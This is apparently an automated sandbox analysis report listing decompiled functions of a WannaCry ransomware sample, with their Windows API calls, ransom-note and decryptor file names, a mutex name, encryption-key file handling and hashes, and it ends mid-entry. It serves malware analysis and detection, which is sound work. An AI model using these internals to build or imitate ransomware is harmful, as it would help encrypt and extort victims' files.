                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: AllocGlobal
                                                                                                        • String ID:
                                                                                                        • API String ID: 3761449716-0
                                                                                                        • Opcode ID: a0f6333f425ce33925a84890fd78498eb6391ea3f73c7eff5b86457590ab5d7d
                                                                                                        • Instruction ID: 8db7ed3adf78cc50dca048c8c7e3ab3d0c22f95359d44885ef36aa3b35a51b9a
                                                                                                        • Opcode Fuzzy Hash: a0f6333f425ce33925a84890fd78498eb6391ea3f73c7eff5b86457590ab5d7d
                                                                                                        • Instruction Fuzzy Hash: DC118FB66003119BF360DB28EC45FCB77E8EB84790F11882EF649961C8DBB0A845CB75
                                                                                                        Function 10005727 Relevance: 9.1, APIs: 6, Instructions: 58threadsleepCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • GetLogicalDrives.KERNELBASE ref: 10005734
                                                                                                        • Sleep.KERNELBASE(00000BB8), ref: 1000574A
                                                                                                        • GetLogicalDrives.KERNELBASE ref: 10005752
                                                                                                        • CreateThread.KERNEL32(00000000,00000000,10005680,00000003,00000000,00000000), ref: 1000578F
                                                                                                        • CloseHandle.KERNEL32(00000000), ref: 1000579A
                                                                                                        • ExitThread.KERNEL32 ref: 100057B1
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: DrivesLogicalThread$CloseCreateExitHandleSleep
                                                                                                        • String ID:
                                                                                                        • API String ID: 1878306015-0
                                                                                                        • Opcode ID: 6755539e03151ab4c1f16085f489a8dfdac46bb0bc8c46b8b9e925cdda5e6641
                                                                                                        • Instruction ID: e60eb9cd5809f0a44785feabd90748945945c8a24abb44f707321f1dc85ab6e6
                                                                                                        • Opcode Fuzzy Hash: 6755539e03151ab4c1f16085f489a8dfdac46bb0bc8c46b8b9e925cdda5e6641
                                                                                                        • Instruction Fuzzy Hash: 28016234B04321EFF250AB66ACCCB5B3699FB856D2F510125F90DDB39CEF569C009661
                                                                                                        Function 10005730 Relevance: 9.0, APIs: 6, Instructions: 49threadsleepCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • GetLogicalDrives.KERNELBASE ref: 10005734
                                                                                                        • Sleep.KERNELBASE(00000BB8), ref: 1000574A
                                                                                                        • GetLogicalDrives.KERNELBASE ref: 10005752
                                                                                                        • CreateThread.KERNEL32(00000000,00000000,10005680,00000003,00000000,00000000), ref: 1000578F
                                                                                                        • CloseHandle.KERNEL32(00000000), ref: 1000579A
                                                                                                        • ExitThread.KERNEL32 ref: 100057B1
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: DrivesLogicalThread$CloseCreateExitHandleSleep
                                                                                                        • String ID:
                                                                                                        • API String ID: 1878306015-0
                                                                                                        • Opcode ID: 5878980bfe0458395b54a1c59291aa8a91b878b02f3db5711459a8e660d042a6
                                                                                                        • Instruction ID: d95954290e73e2fc4d81053873901ac5897467195d0022eac80ad00c69895781
                                                                                                        • Opcode Fuzzy Hash: 5878980bfe0458395b54a1c59291aa8a91b878b02f3db5711459a8e660d042a6
                                                                                                        • Instruction Fuzzy Hash: 02018634B04321DFF2409B66ACCCB5B3699FB806D2F510125F90DDB39CEF569C009661
                                                                                                        Function 10004990 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51sleepCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • time.MSVCRT ref: 100049A8
                                                                                                        • time.MSVCRT ref: 100049CC
                                                                                                        • GetFullPathNameA.KERNEL32(tasksche.exe,00000208,?,00000000), ref: 10004A15
                                                                                                        • Sleep.KERNELBASE(00007530), ref: 10004A29
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: time$FullNamePathSleep
                                                                                                        • String ID: tasksche.exe
                                                                                                        • API String ID: 1626198026-4155512336
                                                                                                        • Opcode ID: 63368ec97ce6c90e861054e7e62082db372e98ff563f1b21eac47bf49e227cdf
                                                                                                        • Instruction ID: 6c277a82b2204c6dda298433eb915a288d4e8415d8d78be13cb5ccbe86c762d4
                                                                                                        • Opcode Fuzzy Hash: 63368ec97ce6c90e861054e7e62082db372e98ff563f1b21eac47bf49e227cdf
                                                                                                        • Instruction Fuzzy Hash: FC01F9B1A0435157F310E7649C81F6F3694FB847C1F010529FA489628EDE90B804C3B7
                                                                                                        Function 10004500 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 50COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • sprintf.MSVCRT ref: 10004528
                                                                                                        • GetFileAttributesA.KERNELBASE(?), ref: 1000453C
                                                                                                        • GetFileAttributesA.KERNEL32(00000000.pky), ref: 10004548
                                                                                                          • Part of subcall function 10003A10: InitializeCriticalSection.KERNEL32(?,75733310,10004558), ref: 10003A28
                                                                                                          • Part of subcall function 10003D10: CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?,00000200,?,?,?,?,75733310,00000000), ref: 10003E2B
                                                                                                          • Part of subcall function 10003D10: _local_unwind2.MSVCRT ref: 10003E3B
                                                                                                          • Part of subcall function 10003A60: DeleteCriticalSection.KERNEL32(?,100045A2), ref: 10003A6A
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: AttributesCriticalFileSection$CryptDeleteEncryptInitialize_local_unwind2sprintf
                                                                                                        • String ID: %08X.dky$00000000.pky
                                                                                                        • API String ID: 76522779-2125887231
                                                                                                        • Opcode ID: 8a0e7567a4fa4835a183f6d327c371cb40c48a734cf9ee2ef7d227f4b83157cd
                                                                                                        • Instruction ID: 425621f44f5a923abbbd61014c7ab598cc21be85551e84ab2481d09848a71f7a
                                                                                                        • Opcode Fuzzy Hash: 8a0e7567a4fa4835a183f6d327c371cb40c48a734cf9ee2ef7d227f4b83157cd
                                                                                                        • Instruction Fuzzy Hash: EB118875504B409FE315DB28CC42B9BB7E8FB887A0F504F1DF56A822D4DB38A545CB52
                                                                                                        Function 10002F70 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40fileCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • GetTempFileNameW.KERNELBASE(?,~SD,00000000,00000000), ref: 10002FA1
                                                                                                        • CreateFileW.KERNELBASE(00000000,40000000,00000000,00000000,00000002,00000002,00000000), ref: 10002FBB
                                                                                                        • CloseHandle.KERNEL32(00000000), ref: 10002FC8
                                                                                                        • DeleteFileW.KERNELBASE(00000000), ref: 10002FD3
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: File$CloseCreateDeleteHandleNameTemp
                                                                                                        • String ID: ~SD
                                                                                                        • API String ID: 3375149446-1091114838
                                                                                                        • Opcode ID: 5e7cbfd5b58ad9321687849607920a6fa3127069c18f055f668ff46880186f9a
                                                                                                        • Instruction ID: c2dd32fcde6a5bc41ecd7f9a6727c0a4d13da50b9158b9afa091e72ebafff611
                                                                                                        • Opcode Fuzzy Hash: 5e7cbfd5b58ad9321687849607920a6fa3127069c18f055f668ff46880186f9a
                                                                                                        • Instruction Fuzzy Hash: 00F0F63424430077F7109B64CD8EF6F73A8ABC0B80F904A2AF204E61E4E7B8D904C662
                                                                                                        Function 10003C40 Relevance: 7.6, APIs: 5, Instructions: 77COMMON
                                                                                                        Download Yara Rule
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: d0c54076f7a2448e10fc8be0b785496c0eb2b10ce162175e404115595b8610ef
                                                                                                        • Instruction ID: 138f2fe033322ba65967f8616f38530b74b5918126c82026410a31d06e5ea73c
                                                                                                        • Opcode Fuzzy Hash: d0c54076f7a2448e10fc8be0b785496c0eb2b10ce162175e404115595b8610ef
                                                                                                        • Instruction Fuzzy Hash: C821B4B56443117FF210DB14DC85F9BB7ACEBC4B64F148529FB44A72C0D2B9A80A87A6
                                                                                                        Function 10004730 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31fileCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • CreateFileA.KERNELBASE(00000000.res,40000000,00000001,00000000,00000004,00000080,00000000,00000000,?,10005A09), ref: 10004749
                                                                                                        • WriteFile.KERNELBASE(00000000), ref: 10004775
                                                                                                        • CloseHandle.KERNEL32(00000000), ref: 1000477C
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: File$CloseCreateHandleWrite
                                                                                                        • String ID: 00000000.res
                                                                                                        • API String ID: 1065093856-1337945038
                                                                                                        • Opcode ID: 9218bb890792affa764d680ff6986bd503153ba273b76b7626a1320ac949ddd2
                                                                                                        • Instruction ID: 1a0995e2bfce3f695c42019c746602608884a1d24b5a512431a54d6d633dc8a9
                                                                                                        • Opcode Fuzzy Hash: 9218bb890792affa764d680ff6986bd503153ba273b76b7626a1320ac949ddd2
                                                                                                        • Instruction Fuzzy Hash: A7E0D17168132176F27057545C49FD62644F7447F2F204315F795E50D4DFE454444355
                                                                                                        Function 100046D0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31fileCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • CreateFileA.KERNELBASE(00000000.res,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,10005C55,00000000.pky,00000000.eky), ref: 100046E6
                                                                                                        • ReadFile.KERNEL32(00000000,1000DC68,00000088,?,00000000,?,10005C55,00000000.pky,00000000.eky), ref: 10004712
                                                                                                        • CloseHandle.KERNEL32(00000000,?,10005C55,00000000.pky,00000000.eky), ref: 10004719
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: File$CloseCreateHandleRead
                                                                                                        • String ID: 00000000.res
                                                                                                        • API String ID: 1035965006-1337945038
                                                                                                        • Opcode ID: 38f5d3609d688d52e39eed02e5728f1296c17493f38e7dd39a540115aba3ae98
                                                                                                        • Instruction ID: 54c67b85065ce4f863d8689817c15c4f2f767631175da55968cfae2d4b84cbd0
                                                                                                        • Opcode Fuzzy Hash: 38f5d3609d688d52e39eed02e5728f1296c17493f38e7dd39a540115aba3ae98
                                                                                                        • Instruction Fuzzy Hash: 65E0D872681331BAF27067649C49FCA2A88EB04BF2F314326FB95F60D4DFE4554483A5
                                                                                                        Function 10004690 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19synchronizationCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • CreateMutexA.KERNELBASE(00000000,00000001,MsWinZonesCacheCounterMutexA,?,10005B11), ref: 1000469A
                                                                                                        • GetLastError.KERNEL32(?,10005B11), ref: 100046A6
                                                                                                        • CloseHandle.KERNEL32(00000000,?,10005B11), ref: 100046B4
                                                                                                        Strings
                                                                                                        • MsWinZonesCacheCounterMutexA, xrefs: 10004691
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: CloseCreateErrorHandleLastMutex
                                                                                                        • String ID: MsWinZonesCacheCounterMutexA
                                                                                                        • API String ID: 4294037311-694093751
                                                                                                        • Opcode ID: b4423007a58e0f84b666c0c66b10e299a80b8cce86534432c0e4c48c6a08cb45
                                                                                                        • Instruction ID: 338334782f2b9e7042141e46606865c077db62d8e45c1ffbdd960e7d74596030
                                                                                                        • Opcode Fuzzy Hash: b4423007a58e0f84b666c0c66b10e299a80b8cce86534432c0e4c48c6a08cb45
                                                                                                        • Instruction Fuzzy Hash: 88D0A731905932D7F6606B24BCC87CF2A40EB027E1F030260FA0CE559DEB598C8148E6
                                                                                                        Function 10003200 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16fileCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • swprintf.MSVCRT(?,%s\%s,?,@Please_Read_Me@.txt), ref: 1000321A
                                                                                                        • CopyFileW.KERNELBASE(@Please_Read_Me@.txt,?,00000001), ref: 1000322F
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: CopyFileswprintf
                                                                                                        • String ID: %s\%s$@Please_Read_Me@.txt
                                                                                                        • API String ID: 1805135926-3539309323
                                                                                                        • Opcode ID: c411f0acc78ad9d9e9ffb173ee46626fa9530a000aff35feebebf6a00c7dad47
                                                                                                        • Instruction ID: 80308d71e87a2662e96619a8ebef87edecea0aea765e2410c23067d00ef2c009
                                                                                                        • Opcode Fuzzy Hash: c411f0acc78ad9d9e9ffb173ee46626fa9530a000aff35feebebf6a00c7dad47
                                                                                                        • Instruction Fuzzy Hash: 8BD01771818204BFF314DB68DD89EBA7268FB84384F448A08F65D90198D73599288A67
                                                                                                        Function 10003240 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16fileCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.exe.lnk), ref: 1000325A
                                                                                                        • CopyFileW.KERNELBASE(@WanaDecryptor@.exe.lnk,?,00000001), ref: 1000326F
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: CopyFileswprintf
                                                                                                        • String ID: %s\%s$@WanaDecryptor@.exe.lnk
                                                                                                        • API String ID: 1805135926-795331943
                                                                                                        • Opcode ID: c250b24136dea1bfe6b7898258367bb7c04f3b9dc65f4485c6e2413ddd54f61a
                                                                                                        • Instruction ID: aabba5d832825d18aa2892ebc93e0d9c0cb5ad894a116947d65cfddac51ae073
                                                                                                        • Opcode Fuzzy Hash: c250b24136dea1bfe6b7898258367bb7c04f3b9dc65f4485c6e2413ddd54f61a
                                                                                                        • Instruction Fuzzy Hash: C5D01771814204BFF318DB68DD89FBA7268FB84384F448908F65D90198D73599288667
                                                                                                        Function 10003280 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16fileCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.exe), ref: 1000329A
                                                                                                        • CopyFileW.KERNELBASE(@WanaDecryptor@.exe,?,00000001), ref: 100032AF
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: CopyFileswprintf
                                                                                                        • String ID: %s\%s$@WanaDecryptor@.exe
                                                                                                        • API String ID: 1805135926-3253365116
                                                                                                        • Opcode ID: c732863aad36b8ae60cc70cd27384ffc3547b56df3ffae6353cc428869aacd62
                                                                                                        • Instruction ID: 59ab5ee0cc2050cc8eb19bdd64a6c19fde071768e575255f68a05fb53c163eac
                                                                                                        • Opcode Fuzzy Hash: c732863aad36b8ae60cc70cd27384ffc3547b56df3ffae6353cc428869aacd62
                                                                                                        • Instruction Fuzzy Hash: 58D05E71814304BFF314DBA8DD89FBA7368FB84384F448909F65D90198D73999288677
                                                                                                        Function 10005480 Relevance: 6.1, APIs: 4, Instructions: 65COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • SHGetFolderPathW.SHELL32(00000000,00000000,00000000,00000000,75730F00,75730F00,00000000,00000000), ref: 100054B6
                                                                                                        • wcslen.MSVCRT ref: 100054C3
                                                                                                        • SHGetFolderPathW.SHELL32(00000000,00000005,00000000,00000000,?), ref: 100054F5
                                                                                                        • wcslen.MSVCRT ref: 100054FC
                                                                                                          • Part of subcall function 100027F0: ??2@YAPAXI@Z.MSVCRT ref: 1000281A
                                                                                                          • Part of subcall function 100027F0: ??3@YAXPAX@Z.MSVCRT ref: 100028FD
                                                                                                          • Part of subcall function 100027F0: ??3@YAXPAX@Z.MSVCRT ref: 10002917
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ??3@FolderPathwcslen$??2@
                                                                                                        • String ID:
                                                                                                        • API String ID: 2093780229-0
                                                                                                        • Opcode ID: d163edc3916c72bdfd07bfe83d2c2948d88e62c2738cec1ca9194f5dc8d6a920
                                                                                                        • Instruction ID: ae209c0b6bb9dcbb05d21899376679ada1f922680f23bc9f9cb6150d3ff098d6
                                                                                                        • Opcode Fuzzy Hash: d163edc3916c72bdfd07bfe83d2c2948d88e62c2738cec1ca9194f5dc8d6a920
                                                                                                        • Instruction Fuzzy Hash: 3211E3796843057AF610E724CC82F9B7398EFC4790F008829B749961C5EAF4B5048B66
                                                                                                        Function 100021AC Relevance: 6.0, APIs: 4, Instructions: 22fileCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: CloseHandle$DeleteFilewcslen
                                                                                                        • String ID:
                                                                                                        • API String ID: 3508958691-0
                                                                                                        • Opcode ID: 922f722e5c418f7af27600eb4e498b6c2fd2021f8fe4a9803ef1495644ed2b51
                                                                                                        • Instruction ID: 7a28d7368fef7b69181b6a677d113c0d8526011b338f6f6515615cb3a9903244
                                                                                                        • Opcode Fuzzy Hash: 922f722e5c418f7af27600eb4e498b6c2fd2021f8fe4a9803ef1495644ed2b51
                                                                                                        • Instruction Fuzzy Hash: 9EE01A70D021289BEF15EB74CD885DD77B8BB143E5F510691FA2AE20E8D7349F868B50
                                                                                                        Function 10003620 Relevance: 3.0, APIs: 2, Instructions: 42COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ??3@
                                                                                                        • String ID:
                                                                                                        • API String ID: 613200358-0
                                                                                                        • Opcode ID: 8a5f8720392b3e892b43d9e03d1e1f5fd7d729fd135780262f4b2675f91fb183
                                                                                                        • Instruction ID: 015025ec0514bc42ef176f8ce07f26219ab9bad9eae5a3fd53a39a66e0a759a0
                                                                                                        • Opcode Fuzzy Hash: 8a5f8720392b3e892b43d9e03d1e1f5fd7d729fd135780262f4b2675f91fb183
                                                                                                        • Instruction Fuzzy Hash: 200144B5204B049FD311CF1DD804B13F7E8FF593A4F148AA9E0A987380D772E8188B91
                                                                                                        Function 10005300 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 20sleepCOMMON
